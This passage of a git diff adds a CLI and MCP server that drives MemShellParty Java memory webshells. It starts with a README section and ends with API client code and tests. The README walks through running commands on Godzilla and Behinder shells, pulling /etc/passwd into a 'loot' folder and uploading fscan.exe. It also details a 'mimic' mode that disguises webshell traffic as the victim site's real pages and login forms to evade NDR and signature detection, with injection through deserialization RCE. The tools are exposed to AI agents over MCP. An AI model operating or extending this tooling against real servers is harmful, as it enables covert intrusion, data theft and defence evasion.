suo5 # add --suo5-mode v2|v1 to force +``` + +MemShellParty shells check an auth header — take `headerName`/`headerValue` from the +`gen --json` output (`shellToolConfig`) and pass them along, or every check fails with an empty +response (the Suo5v2 shell checks it too): + +```bash +memparty connect -u -t godzilla --pass pass --key key \ + --header-name User-Agent --header-value +``` + +Over MCP the same check is the `connect_test` tool (`url`, `tool`, `pass`/`key`, +`headerName`/`headerValue`, `suo5Mode`). + +Self-signed TLS → add `-k/--insecure`; extra headers (cookies etc.) → repeatable +`-H "Name: value"`. Both flags exist on `exec` too (over MCP: `insecure`, `timeoutMs`). + +## Step 5 — Execute commands on the shell + +Once the handshake passes, `memparty exec` runs a command on a Godzilla / Behinder shell and +prints the remote stdout+stderr (exit 0/1). Pass the same credentials and gate header as for +`connect`: + +```bash +memparty exec -u -t godzilla --pass pass --key key \ + --header-name User-Agent --header-value \ + --cmd "whoami" +memparty exec -u -t behinder --pass rebeyond \ + --header-name User-Agent --header-value \ + --cmd "id" +``` + +- Godzilla auto-detects the remote OS via `getBasicsInfo` (one extra request) to pick + `cmd.exe /c` vs `/bin/sh -c`; add `--os windows|linux` to skip the detection. +- Behinder's `Cmd` payload detects the OS itself, so no flag is needed. +- `--json` returns `{ ok, tool, url, command, output, durationMs }` — preferred for agents. + +Over MCP this is the `exec_command` tool (`url`, `tool`, `command`, `pass`/`key`, `os`, +`headerName`/`headerValue`). + +## Step 6 — Transfer files + +`memparty upload` / `memparty download` move files through a Godzilla / Behinder shell (the +real protocol — chunked, with integrity verification: remote size for Godzilla, MD5 for +Behinder). Same credentials and gate header as `exec`: + +```bash +memparty download -u -t godzilla --pass pass --key key \ + --header-name User-Agent --header-value \ + /etc/passwd -o loot/passwd +memparty upload web1/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe" +``` + +- Download refuses to overwrite an existing local file unless `--force`; `-o` naming a + directory keeps the remote basename; no `-o` means `./`. +- Upload overwrites the remote path (truncate + write), max 64 MiB per file; a failed + upload warns that the remote file may be partial. +- Godzilla transfers cap at 2 GiB (payload int limit); downloads are buffered in memory. +- Non-ASCII remote paths: fine on Behinder as-is. On Godzilla the path is decoded by the + server's platform charset — UTF-8 on JDK 18+/Linux; for old JDK (8/11/17) on Chinese + Windows pass `--remote-charset GBK` (MCP: `remoteCharset`). +- `--json` returns `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }` — + file bytes never travel over MCP/stdout. + +Over MCP these are the `download_file` (`remotePath`, optional `localPath`, `force`) and +`upload_file` (`localPath`, `remotePath`) tools, plus the usual connection fields. The local +paths are on the machine running the MCP server. + +## Site-mimicking traffic (mimic protocol) + +`mimic` is a demo protocol that shapes shell traffic after the target site's own pages: +requests are browser-style form POSTs; responses are real site pages with the ciphertext +hidden in a per-shell-unique marker (a JS variable or an HTML comment). The wire codec is +selectable per profile (`cipher` section: AES/ECB, AES/CBC with random IV, or XOR; base64 / +base64url / hex; optional key-derived junk tail). **You write the site profile — the CLI +does not crawl.** That is the point: you can judge which page makes believable cover; a +regex crawler cannot. + +### Workflow + +1. **Read the site yourself.** Fetch the homepage and 2-3 representative pages (plus the 404 + page). Note the page structure, `` style, link paths, Content-Type — and judge what + the site's **dominant traffic** looks like: a content site serves mostly HTML documents, + an SPA serves mostly JSON XHR, an admin console serves mostly form POSTs. +2. **Match the dominant traffic first.** Blending in is a statistics game: your requests + should be the same *shape* as what the site already serves all day. A content site + serves HTML documents; an SPA serves JSON XHR; an AI product streams SSE — mimic + covers all of them: HTML pages (marker injected) or **any text response with a + `{{payload}}` placeholder** (JSON envelope, XML, JS, SSE chunks…) served with its + own contentType (a `text/event-stream` skin is flushed chunk by chunk, not as a + one-shot body), and form, JSON, or **fully templated request bodies**. +3. **Scaffold + hand-write the profile:** + + ```bash + memparty profile init acme --site http://target:8080 + ``` + + This writes a skeleton to `~/.memparty/profiles/acme.json`. Now **edit that file with your + own file tools** — the CLI has no "fill" command; the content is your judgment, not a + command's output. Fill in: + - `templates`: **one or more** cover pages — the server rotates among them per response, + so the traffic doesn't repeat one page's length/hash. 2-4 pages is plenty; pick + **high-traffic, self-contained** ones (the pages real users fetch all the time), and + paste each HTML **verbatim** — do not "improve" it, real bytes are the whole point. + Each entry keeps its own `title` and `contentType`. + - With `--dynamic-path`, also probe what the site returns for a **random** path + (`curl -i <site>/<random>`): some consoles answer 200 with the login page for *every* + unknown path instead of a 404. Your templates should match that default response — + a 200 answer from the shell then mirrors the site's own behavior exactly. + - `paths`: the site's real path vocabulary, weighted toward the hot prefixes real traffic + hits (nav links, sitemap entries — not dead corners), e.g. `["/api/", "/news/", "/app/"]` — + first-level dirs, same origin only. Used for `--dynamic-path`. + - `request` (optional but recommended): the request's form shape — **one object or an + array the client rotates among** (with optional `weight`). `secretField` is the field + that carries the ciphertext; `secretIn` is where it rides: `"body"` (default, a form + field), `"query"` (a URL parameter) or `"header"`; `fields` are decoys. **Model it on + a real form the site already receives** — e.g. a console login POST. Value placeholders: + `{{hex:N}}` (N hex), `{{b64:N}}` (N base64url), `{{uuid}}`, `{{ts}}` (unix seconds), + `{{int:A:B}}`. Never ship the default `pass=<cipher>` single-field body — a lone + `pass=` parameter is a textbook webshell signature. + - `request.bodyTemplate` (optional, secretIn=body only): a **full request body** with + `{{payload}}` where the ciphertext goes — for traffic a flat form/JSON body can't + imitate: an OpenAI-style chat completion (`{"model":…,"messages":[{"role":"user", + "content":"{{payload}}"}]}`, pair with an SSE skin), a GraphQL envelope, an XML/SOAP + message, or a multipart/form-data upload (write the boundary literally in the + template — the Content-Type boundary is inferred from its first delimiter line, or + set it explicitly in `headers`). Decoy macros render per request. The filter + extracts the field from any raw body (JSON / multipart / XML anchors), so no + server-side change is needed per format. + - `cipher` (optional): the wire codec. Fields (all optional, defaults = the legacy + format `aes-ecb` + `base64` + `js-var` + no tail): + - `algorithm`: `"aes-ecb"` (fixed blocks — same plaintext ⇒ same ciphertext), + `"aes-cbc"` (random IV per message — same command encrypts differently every + time, the strongest default), `"xor"` (no JCE needed). + - `encoding`: `"base64"` | `"base64url"` | `"hex"`. + - `padTail`: `true` appends key-derived-length (0-15) random alnum garbage after + the encoded ciphertext — Behinder's `aes_with_magic` trick against length + signatures. Costs nothing, turn it on. + - `marker`: `"js-var"` (`var Re<md5(pass+key)[0:5]>_config="..."`) or + `"html-comment"` (`<!--Re..._config:...-->`) — pick whichever looks more at + home in the cover page. + ⚠️ The cipher is **baked into the filter at build time**. Editing `cipher` in the + profile afterwards desynchronizes client and server — rebuild + re-inject. +4. **Use it:** + + ```bash + memparty connect -u http://target/ -t mimic --pass <pass> --key <key> \ + --profile acme --dynamic-path + memparty exec acme/mimic --cmd "whoami" # profile rides along in the saved target + ``` + +### Worked example + +Target: a company portal at `http://192.0.2.1:8080` — a classic content site (HTML +documents dominate; no SPA). + +1. Fetch `/` and two linked pages. Observations: every page shares the same header/footer; + `/news/` is linked from the nav and returns a short self-contained list page; the nav + links are `/products/`, `/news/`, `/about/`; everything is `text/html; charset=utf-8`. +2. `memparty profile init acme --site http://192.0.2.1:8080`. +3. Edit `~/.memparty/profiles/acme.json` so it reads (template shortened here for display — + the real file must contain the page's FULL verbatim HTML): + + ```json + { + "name": "acme", + "site": "http://192.0.2.1:8080", + "createdAt": "2026-07-19T08:00:00.000Z", + "templates": [ + { + "title": "新闻动态 - ACME 科技", + "template": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>...full verbatim HTML...</html>", + "contentType": "text/html; charset=utf-8" + }, + { + "title": "产品中心 - ACME 科技", + "template": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n<head>...another page...</html>", + "contentType": "text/html; charset=utf-8" + } + ], + "paths": ["/products/", "/news/", "/about/"], + "request": { + "secretField": "verCode", + "fields": [ + {"name": "csrftoken", "value": "{{hex:32}}"}, + {"name": "j_username", "value": "admin"}, + {"name": "j_password", "value": "{{hex:24}}"}, + {"name": "agreement", "value": "on"} + ] + } + } + ``` + + Why these choices: `/news/` over the homepage — equally high-traffic but no carousel + JS/images, so no missing sub-request waterfall; two templates so consecutive responses + differ in length and bytes; `paths` are exactly the nav links real users click, not + guessed words; the `request` block mirrors the site's own login form, so the shell POST + is indistinguishable from someone signing in. (Templates shortened here for display — + the real file must contain each page's FULL verbatim HTML. A legacy single + `template`/`title`/`contentType` triple still loads, it just can't rotate.) +4. Verify it parses, then connect: + + ```bash + memparty profile show acme # schema check happens here too + memparty connect -u http://192.0.2.1:8080/ -t mimic --pass s3cr3t --key k3y \ + --profile acme --dynamic-path + # OK mimic http://192.0.2.1:8080/ + # round-trip ok (profile=acme; dynamic path http://192.0.2.1:8080/news/x7q2mzab) + ``` + +### What mimic handles vs. what you decide + +- Automatic: the selected codec (key = md5(key)[0:16] for every algorithm), per-shell + derived response delimiters, form-body encoding, browser-consistent request headers, + credential round-trip on `connect`. +- Yours: the template page, the path vocabulary, the request pacing. Filter/listener-type + memory shells answer on any path, which is what makes `--dynamic-path` legitimate — for a + fixed-URL shell just omit the flag. +- Limits: exec only (no upload/download); request timing/method mix is fixed, so pace your + commands like a patient human. + +### Server side — `memparty custom build` + +The server half is a plain `javax.servlet.Filter` generated FROM the profile and compiled +locally — one command does the whole chain: + +```bash +memparty custom build --profile acme --server Tomcat +``` + +What happens inside: + +1. renders `MimicFilter<rand>.java` from the profile (templates, carrier fields, **the + `cipher` section is baked in here**) + random `pass`/`key` (or `--pass/--key`); +2. compiles it with the local JDK (`javac` on PATH, servlet API jar bundled — no other + dependency); +3. submits the class to the MemShellParty backend as `shellTool=Custom`, which wraps it + with the injector for `--server` (any server from `memparty config tools` — the filter + itself has zero middleware specifics) and packs it with `--packer` + (default `DefaultBase64`); +4. writes an output dir (default `<profile>-build/`): the `.java`/`.class`, one + `payload-*.txt` per pack variant, and **`manifest.json`** — the single source of truth + for the follow-up (credentials, cipher, class names, ready-made connect command). + +Then: inject the payload through your foothold (deserialization RCE `defineClass`, an +existing shell that evaluates scripts, an agent loader…), and connect with the printed +command — a successful `connect` auto-saves the target, afterwards +`memparty exec <host>/mimic --cmd "id"` needs no flags. + +Notes that matter: + +- **Random class name every build** (`--out` keeps builds apart): a running JVM can't + re-define a class, so re-injection NEEDS the fresh name — never reuse one. +- The printed `--pass/--key` are random per build unless you pin them; they're in + `manifest.json`, not in your shell history if you use `--json`. +- The filter probes carriers with `getParameter()`/`getHeader()` only (never reads the + body stream), passes undecryptable values through `chain.doFilter`, and answers errors + with the plain cover page — it coexists with the site's real forms and other shells. +- Filter-type deployment truth learned on a real console: **dynamic path is conditional + on the target app's own filters** — probe a random path first, fall back to the fixed + working path when the app answers everything itself. + +### Reality check before relying on it + +Run `memparty demo` once and read the printed request URL and response: the traffic should +be indistinguishable from a normal page view at a glance. Two ways it still stands out: + +- **Missing sub-requests**: if your template page has assets (CSS/JS/images) a real browser + would fetch, a NDR notices their absence — prefer self-contained pages. +- **Volume mismatch**: signature devices look at bodies, but statistical detection looks at + baselines — hitting a rarely-used path shape (or HTML on an API site) deviates from it. + That is why the dominant-traffic rule above outranks everything else. + +## Step 7 — Save targets, switch by name + +Flag soup gets old fast. Save each working shell into a **project** (a named group of shells +with an optional remark and category), then reference it as `<project>/<shell>`: + +```bash +memparty save web1/bh9060 -u <shell-url> -t behinder --pass rebeyond \ + --header-name User-Agent --header-value <headerValue-from-gen-json> \ + --remark "内网测试环境" --category test --shell-remark "root 权限" +memparty list # everything, or --category test +memparty exec web1/bh9060 --cmd "whoami" # no other flags needed +memparty exec web1 --cmd "id" # bare project works when it holds one shell +``` + +MCP equivalents: `target_save` (project, shell, url, tool, creds, `projectRemark`, +`projectCategory`, `shellRemark`), `target_list` (optional `category` filter), `target_note` +(project meta, or a shell's remark when `shell` is given), `target_remove`; then pass +`name: "<project>/<shell>"` to `connect_test` / `exec_command`. +The store lives at `~/.memparty/targets.json`. + +## Step 8 — Audit with the operation log + +Every operation (gen, probe, connect, exec, download, upload, save/note/remove) is appended to +`~/.memparty/operations.jsonl` — no credentials, no payload bytes, no file contents; exec output +is truncated. +Query it to recall what was done against a target: + +```bash +memparty log --category exec --target web1 +``` + +Over MCP this is the `log_list` tool (`category`, `target`, `limit`). Use it to review past +actions before repeating them, or to answer "what did we run on this host?". + +## Gotchas + +- **Jakarta vs javax.** Tomcat 10+ / Spring Boot 3 → `Jakarta*` shell types. Tomcat 9- / Spring Boot 2 + → non-prefixed. Picking the wrong family = the shell won't load. +- **JDK target.** `--jdk java6/8/9/11/17/21` (or bare `8`, or raw major `52`). Match (or stay ≤) the + target's JDK so the bytecode loads. JDK 9+ auto-enables Java-module bypass unless `--no-bypass-module`. +- **Spring-gzip packers** (`SpEL`/`OGNL`/`JXPath` + their `*SpringGzip*` / `*JDK17` variants) need a + special injector class name — the CLI generates one automatically; don't override + `--injector-class-name` for these. +- **Shrink is on by default** (smaller bytecode). Use `--no-shrink` only if a stripped payload misbehaves. +- **Aggregate packers** return multiple variants — pick a leaf for a single payload (see Step 1). +- **Agent memshells** (`Agent*` types) require the `AgentJar*` packer family and a JVM attach; they + aren't class-byte payloads. +- **Backend override.** Default is the public `https://party.mem.mk` (good for trying things, but + don't trust payloads from public services in real engagements — self-host with Docker and use + `MEMPARTY_API_URL` or `--api`). + +## Reverse: parse a class name + +Got a `.class` and want its fully-qualified name (e.g. to confirm what you generated or analyze a sample)? + +```bash +memparty parse-classname --file shell.class +memparty parse-classname <base64-of-class-bytes> +``` diff --git a/tools/cli/src/api/client.test.ts b/tools/cli/src/api/client.test.ts new file mode 100644 index 00000000..97961dd8 --- /dev/null +++ b/tools/cli/src/api/client.test.ts @@ -0,0 +1,77 @@ +import { describe, expect, it, vi } from "vitest"; + +import { ApiError, MemPartyClient } from "./client.js"; + +function jsonResponse(body: unknown, init: Partial<{ status: number; ok: boolean }> = {}): Response { + const status = init.status ?? 200; + return new Response(typeof body === "string" ? body : JSON.stringify(body), { + status, + headers: { "Content-Type": "application/json" }, + }); +} + +describe("MemPartyClient", () => { + it("strips trailing slashes from the base URL and builds GET requests", async () => { + const fetchMock = vi.fn().mockResolvedValue(jsonResponse({ Tomcat: ["Listener"] })); + const client = new MemPartyClient({ baseUrl: "http://host:8080/", fetch: fetchMock }); + + const servers = await client.getServers(); + + expect(servers).toEqual({ Tomcat: ["Listener"] }); + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe("http://host:8080/api/config/servers"); + expect(init.method).toBe("GET"); + }); + + it("POSTs JSON bodies with the right content type", async () => { + const fetchMock = vi.fn().mockResolvedValue(jsonResponse({ memShellResult: {}, packResult: "abc" })); + const client = new MemPartyClient({ baseUrl: "http://host", fetch: fetchMock }); + + await client.generateMemShell({ + shellConfig: { server: "Tomcat", shellTool: "Godzilla", shellType: "Listener" }, + shellToolConfig: {}, + injectorConfig: {}, + packer: "Base64", + }); + + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe("http://host/api/memshell/generate"); + expect(init.method).toBe("POST"); + expect(init.headers["Content-Type"]).toBe("application/json"); + expect(JSON.parse(init.body).packer).toBe("Base64"); + }); + + it("sends parseClassName as a raw text body and returns raw text", async () => { + const fetchMock = vi.fn().mockResolvedValue(new Response("com.example.Foo", { status: 200 })); + const client = new MemPartyClient({ baseUrl: "http://host", fetch: fetchMock }); + + const name = await client.parseClassName("QkFTRTY0"); + + expect(name).toBe("com.example.Foo"); + const [url, init] = fetchMock.mock.calls[0]; + expect(url).toBe("http://host/api/className"); + expect(init.headers["Content-Type"]).toBe("text/plain"); + expect(init.body).toBe("QkFTRTY0"); + }); + + it("throws ApiError with the server-provided error message", async () => { + const fetchMock = vi.fn().mockResolvedValue(jsonResponse({ error: "bad server" }, { status: 400 })); + const client = new MemPartyClient({ baseUrl: "http://host", fetch: fetchMock }); + + await expect(client.getConfig()).rejects.toMatchObject({ + name: "ApiError", + status: 400, + message: "bad server", + }); + }); + + it("wraps network failures in ApiError with status 0", async () => { + const fetchMock = vi.fn().mockRejectedValue(new Error("ECONNREFUSED")); + const client = new MemPartyClient({ baseUrl: "http://host", fetch: fetchMock }); + + const err = await client.getServers().catch((e) => e); + expect(err).toBeInstanceOf(ApiError); + expect(err.status).toBe(0); + expect(err.message).toMatch(/ECONNREFUSED/); + }); +}); diff --git a/tools/cli/src/api/client.ts b/tools/cli/src/api/client.ts new file mode 100644 index 00000000..db4e8c94 --- /dev/null +++ b/tools/cli/src/api/client.ts @@ -0,0 +1,170 @@ +import type { + ApiErrorResponse, + CommandConfigVO, + MainConfig, + MemShellGenerateRequest, + MemShellGenerateResponse, + PackerTree, + ProbeShellGenerateRequest, + ProbeShellGenerateResponse, + ServerConfig, + VersionInfo, +} from "./types.js"; + +export type FetchLike = typeof fetch; + +/** Error thrown when the API responds with a non-2xx status. */ +export class ApiError extends Error { + constructor( + message: string, + readonly status: number, + readonly url: string, + ) { + super(message); + this.name = "ApiError"; + } +} + +export interface MemPartyClientOptions { + /** Base URL of the MemShellParty backend, e.g. https://party.mem.mk */ + baseUrl: string; + /** Injectable fetch implementation (defaults to global fetch). Useful for testing. */ + fetch?: FetchLike; + /** Per-request timeout in milliseconds. Default 30000. */ + timeoutMs?: number; +} + +/** + * Typed client for the MemShellParty HTTP API. + * Knows nothing about the CLI or MCP — it is a pure transport layer so every + * entrypoint (flags, wizard, MCP) can share it. + */ +export class MemPartyClient { + private readonly baseUrl: string; + private readonly fetchImpl: FetchLike; + private readonly timeoutMs: number; + + constructor(options: MemPartyClientOptions) { + this.baseUrl = options.baseUrl.replace(/\/+$/, ""); + this.fetchImpl = options.fetch ?? globalThis.fetch; + this.timeoutMs = options.timeoutMs ?? 30_000; + if (typeof this.fetchImpl !== "function") { + throw new Error( + "No fetch implementation available. Use Node.js >= 18 or pass a custom fetch.", + ); + } + } + + // ---------- config ---------- + + getServers(): Promise<ServerConfig> { + return this.request<ServerConfig>("GET", "/api/config/servers"); + } + + getConfig(): Promise<MainConfig> { + return this.request<MainConfig>("GET", "/api/config"); + } + + getPackerTree(): Promise<PackerTree> { + return this.request<PackerTree>("GET", "/api/config/packers/tree"); + } + + getPackers(): Promise<string[]> { + return this.request<string[]>("GET", "/api/config/packers"); + } + + getCommandConfigs(): Promise<CommandConfigVO> { + return this.request<CommandConfigVO>("GET", "/api/config/command/configs"); + } + + getVersion(): Promise<VersionInfo> { + return this.request<VersionInfo>("GET", "/api/version"); + } + + // ---------- generation ---------- + + generateMemShell(req: MemShellGenerateRequest): Promise<MemShellGenerateResponse> { + return this.request<MemShellGenerateResponse>("POST", "/api/memshell/generate", { + json: req, + }); + } + + generateProbe(req: ProbeShellGenerateRequest): Promise<ProbeShellGenerateResponse> { + return this.request<ProbeShellGenerateResponse>("POST", "/api/probe/generate", { + json: req, + }); + } + + /** Parse a fully-qualified class name from a base64-encoded .class file. */ + parseClassName(classBase64: string): Promise<string> { + return this.request<string>("POST", "/api/className", { + text: classBase64, + raw: true, + }); + } + + // ---------- transport ---------- + + private async request<T>( + method: string, + path: string, + opts: { json?: unknown; text?: string; raw?: boolean } = {}, + ): Promise<T> { + const url = `${this.baseUrl}${path}`; + const headers: Record<string, string> = {}; + let body: string | undefined; + + if (opts.json !== undefined) { + headers["Content-Type"] = "application/json"; + body = JSON.stringify(opts.json); + } else if (opts.text !== undefined) { + headers["Content-Type"] = "text/plain"; + body = opts.text; + } + + const controller = new AbortController(); + const timer = setTimeout(() => controller.abort(), this.timeoutMs); + + let response: Response; + try { + response = await this.fetchImpl(url, { + method, + headers, + body, + signal: controller.signal, + }); + } catch (err) { + if (err instanceof Error && err.name === "AbortError") { + throw new ApiError(`Request timed out after ${this.timeoutMs}ms`, 0, url); + } + throw new ApiError( + `Failed to reach ${url}: ${(err as Error).message}`, + 0, + url, + ); + } finally { + clearTimeout(timer); + } + + const rawText = await response.text(); + + if (!response.ok) { + let message = rawText || response.statusText; + try { + const parsed = JSON.parse(rawText) as ApiErrorResponse; + if (parsed?.error) message = parsed.error; + } catch { + // body was not JSON — keep raw text + } + throw new ApiError(message, response.status, url); + } + + if (opts.raw) { + return rawText as unknown as T; + } + if (rawText === "") { + return undefined as unknown as T; + } + return JSON.parse(rawText) as T; + } +} diff --git a/tools/cli/src/api/index.ts b/tools/cli/src/api/index.ts new file mode 100644 index 00000000..75bc98df --- /dev/null +++ b/tools/cli/src/api/index.ts @@ -0,0 +1,3 @@ +export * from "./types.js"; +export { MemPartyClient, ApiError } from "./client.js"; +export type { FetchLike, MemPartyClientOptions } from "./client.js"; diff --git a/tools/cli/src/api/types.ts b/tools/cli/src/api/types.ts new file mode 100644 index 00000000..ea2de03b --- /dev/null +++ b/tools/cli/src/api/types.ts @@ -0,0 +1,144 @@ +/** + * Type definitions mirroring the MemShellParty backend DTOs. + * Source of truth: boot/src/main/java/com/reajason/javaweb/boot/{dto,vo,controller} + */ + +// ---------- Shared request pieces ---------- + +export interface ShellConfig { + server: string; + serverVersion?: string; + shellTool: string; + shellType: string; + /** Java class-file major version, e.g. 50 (Java6), 52 (Java8), 61 (Java17). */ + targetJreVersion?: number; + debug?: boolean; + byPassJavaModule?: boolean; + shrink?: boolean; + lambdaSuffix?: boolean; + probe?: boolean; +} + +export interface ShellToolConfig { + shellClassName?: string; + godzillaPass?: string; + godzillaKey?: string; + commandParamName?: string; + commandTemplate?: string; + behinderPass?: string; + antSwordPass?: string; + headerName?: string; + headerValue?: string; + shellClassBase64?: string; + encryptor?: string; + implementationClass?: string; +} + +export interface InjectorConfig { + injectorClassName?: string; + urlPattern?: string; + staticInitialize?: boolean; +} + +export interface MemShellGenerateRequest { + shellConfig: ShellConfig; + shellToolConfig: ShellToolConfig; + injectorConfig: InjectorConfig; + /** Packer name, e.g. "Base64", "Jar", "JSP". */ + packer: string; +} + +// ---------- Shared response pieces ---------- + +export interface MemShellResult { + shellClassName: string; + shellSize: number; + shellBytesBase64Str: string; + injectorClassName: string; + injectorSize: number; + injectorBytesBase64Str: string; + shellConfig: ShellConfig; + shellToolConfig: ShellToolConfig; + injectorConfig: InjectorConfig; +} + +export interface MemShellGenerateResponse { + memShellResult: MemShellResult; + packResult?: string; + allPackResults?: Record<string, string>; +} + +// ---------- Probe ---------- + +export type ProbeMethod = "ResponseBody" | "DNSLog" | "Sleep"; +export type ProbeContent = "BasicInfo" | "Server" | "OS" | "JDK" | "Bytecode" | "Command"; + +export interface ProbeConfig { + probeMethod: string; + probeContent: string; + shellClassName?: string; + targetJreVersion?: number; + debug?: boolean; + byPassJavaModule?: boolean; + shrink?: boolean; + staticInitialize?: boolean; + lambdaSuffix?: boolean; +} + +export interface ProbeContentConfig { + host?: string; + seconds?: number; + sleepServer?: string; + server?: string; + reqParamName?: string; + commandTemplate?: string; +} + +export interface ProbeShellGenerateRequest { + probeConfig: ProbeConfig; + probeContentConfig: ProbeContentConfig; + packer: string; +} + +export interface ProbeShellResult { + shellClassName: string; + shellSize: number; + shellBytesBase64Str: string; + probeConfig: ProbeConfig; + probeContentConfig: ProbeContentConfig; +} + +export interface ProbeShellGenerateResponse { + probeShellResult: ProbeShellResult; + packResult?: string; + allPackResults?: Record<string, string>; +} + +// ---------- Config endpoints ---------- + +/** server name -> supported shell types */ +export type ServerConfig = Record<string, string[]>; + +/** server name -> { shell tool -> supported shell types } */ +export type MainConfig = Record<string, Record<string, string[]>>; + +export interface PackerOption { + name: string; + children: string[]; +} +export type PackerTree = PackerOption[]; + +export interface CommandConfigVO { + encryptors: string[]; + implementationClasses: string[]; +} + +export interface VersionInfo { + currentVersion: string; + latestVersion: string; + hasUpdate?: boolean; +} + +export interface ApiErrorResponse { + error: string; +} diff --git a/tools/cli/src/cli-context.ts b/tools/cli/src/cli-context.ts new file mode 100644 index 00000000..35eccdbd --- /dev/null +++ b/tools/cli/src/cli-context.ts @@ -0,0 +1,33 @@ +import { MemPartyClient } from "./api/client.js"; +import { resolveApiUrl } from "./core/config.js"; + +/** Global options attached to every command via commander. */ +export interface GlobalOptions { + api?: string; + timeout?: string; +} + +export function createClient(opts: GlobalOptions): MemPartyClient { + const baseUrl = resolveApiUrl({ flag: opts.api }); + const timeoutMs = opts.timeout ? Number(opts.timeout) : undefined; + return new MemPartyClient({ baseUrl, timeoutMs }); +} + +/** Write a message to stderr. */ +export function logError(msg: string): void { + process.stderr.write(`${msg}\n`); +} + +/** Write an informational message to stderr (keeps stdout clean for payloads). */ +export function logInfo(msg: string): void { + process.stderr.write(`${msg}\n`); +} + +/** Report a fatal error; as JSON when --json is in argv, so agents can parse it. */ +export function reportError(message: string, argv: string[]): void { + if (argv.includes("--json")) { + process.stdout.write(`${JSON.stringify({ ok: false, error: message })}\n`); + } else { + process.stderr.write(`Error: ${message}\n`); + } +} diff --git a/tools/cli/src/cli.test.ts b/tools/cli/src/cli.test.ts new file mode 100644 index 00000000..5187aeaf --- /dev/null +++ b/tools/cli/src/cli.test.ts @@ -0,0 +1,124 @@ +/** + * Subprocess smoke tests: run the built dist/cli.js the way an agent or a + * shell would, and assert on stdout / stderr / exit code. These cover the + * commander wiring layer that unit tests cannot see (option registration, + * help text, exitOverride, REPL, JSON error mode). + */ +import { execFileSync, spawnSync } from "node:child_process"; +import { existsSync, mkdtempSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +import { afterAll, beforeAll, describe, expect, it } from "vitest"; + +const CLI = join(__dirname, "..", "dist", "cli.js"); + +let storeDir: string; + +beforeAll(() => { + if (!existsSync(CLI)) { + execFileSync("npm", ["run", "build"], { cwd: join(__dirname, ".."), stdio: "inherit" }); + } + storeDir = mkdtempSync(join(tmpdir(), "memparty-cli-test-")); +}); + +afterAll(() => { + rmSync(storeDir, { recursive: true, force: true }); +}); + +interface RunResult { + status: number; + stdout: string; + stderr: string; +} + +function run(args: string[], input?: string): RunResult { + const r = spawnSync(process.execPath, [CLI, ...args], { + input, + encoding: "utf8", + env: { + ...process.env, + MEMPARTY_TARGETS: join(storeDir, "targets.json"), + MEMPARTY_OPLOG: join(storeDir, "operations.jsonl"), + }, + }); + return { status: r.status ?? -1, stdout: r.stdout, stderr: r.stderr }; +} + +describe("cli subprocess", () => { + it("--help shows quick-start examples and exits 0", () => { + const r = run(["--help"]); + expect(r.status).toBe(0); + expect(r.stdout).toContain("Quick start:"); + }); + + it("every documented subcommand help has examples", () => { + for (const cmd of ["gen", "probe", "config", "connect", "exec", "save", "log"]) { + const r = run([cmd, "--help"]); + expect(r.status).toBe(0); + expect(r.stdout).toMatch(/^Examples:$/m); + } + }); + + it("unknown command exits 1", () => { + expect(run(["definitely-not-a-command"]).status).toBe(1); + }); + + it("connect without URL exits 1 with a plain error", () => { + const r = run(["connect"]); + expect(r.status).toBe(1); + expect(r.stderr).toMatch(/no URL/); + }); + + it("with --json the same failure is a JSON document on stdout", () => { + const r = run(["connect", "--json"]); + expect(r.status).toBe(1); + const doc = JSON.parse(r.stdout) as { ok: boolean; error: string }; + expect(doc.ok).toBe(false); + expect(doc.error).toMatch(/no URL/); + }); + + it("gen --no-interactive without required flags fails as JSON with --json", () => { + const r = run(["gen", "--no-interactive", "--json"]); + expect(r.status).toBe(1); + const doc = JSON.parse(r.stdout) as { ok: boolean; error: string }; + expect(doc.ok).toBe(false); + expect(doc.error).toMatch(/Missing required option/); + }); + + it("list --json works fully offline", () => { + const r = run(["list", "--json"]); + expect(r.status).toBe(0); + expect(JSON.parse(r.stdout)).toEqual({}); + }); +}); + +describe("repl", () => { + function repl(input: string): RunResult { + const r = spawnSync(process.execPath, [CLI], { + input, + encoding: "utf8", + env: { + ...process.env, + MEMPARTY_REPL: "1", + MEMPARTY_TARGETS: join(storeDir, "targets.json"), + MEMPARTY_OPLOG: join(storeDir, "operations.jsonl"), + }, + }); + return { status: r.status ?? -1, stdout: r.stdout, stderr: r.stderr }; + } + + it("executes commands line by line and exits 0", () => { + const r = repl("list --json\nbadcmd\nquit\n"); + expect(r.status).toBe(0); + expect(r.stdout).toContain("interactive mode"); + expect(r.stdout).toContain("{}"); // list output + expect(r.stderr + r.stdout).toMatch(/unknown command/); // badcmd reported, loop kept going + }); + + it("JSON error mode works inside the REPL", () => { + const r = repl("connect --json\nquit\n"); + expect(r.status).toBe(0); + expect(r.stdout).toContain('"ok":false'); + }); +}); diff --git a/tools/cli/src/cli.ts b/tools/cli/src/cli.ts new file mode 100644 index 00000000..5d199b3b --- /dev/null +++ b/tools/cli/src/cli.ts @@ -0,0 +1,115 @@ +import { Command, CommanderError } from "commander"; + +import { ApiError } from "./api/client.js"; +import { reportError } from "./cli-context.js"; +import { registerConfigCommand } from "./commands/config.js"; +import { registerConnectCommand } from "./commands/connect.js"; +import { registerCustomCommand } from "./commands/custom.js"; +import { registerDemoCommand } from "./commands/demo.js"; +import { registerExecCommand } from "./commands/exec.js"; +import { registerGenCommand } from "./commands/gen.js"; +import { registerLogCommand } from "./commands/log.js"; +import { registerMcpCommand } from "./commands/mcp.js"; +import { registerParseClassNameCommand } from "./commands/parse-classname.js"; +import { registerProbeCommand } from "./commands/probe.js"; +import { registerProfileCommand } from "./commands/profile.js"; +import { registerSkillCommand } from "./commands/skill.js"; +import { registerTargetCommand } from "./commands/target.js"; +import { registerDownloadCommand, registerUploadCommand } from "./commands/transfer.js"; +import { registerVersionCommand } from "./commands/version.js"; +import { DEFAULT_API_URL, ENV_VAR } from "./core/config.js"; +import { startRepl } from "./repl.js"; +import { CLI_VERSION } from "./version.js"; + +function buildProgram(): Command { + const program = new Command(); + + program + .name("memparty") + .description("CLI + MCP client for MemShellParty (party.mem.mk)") + .version(CLI_VERSION, "-v, --version", "output the CLI version") + .option( + "--api <url>", + `MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`, + ) + .option("--timeout <ms>", "request timeout in milliseconds", "30000") + 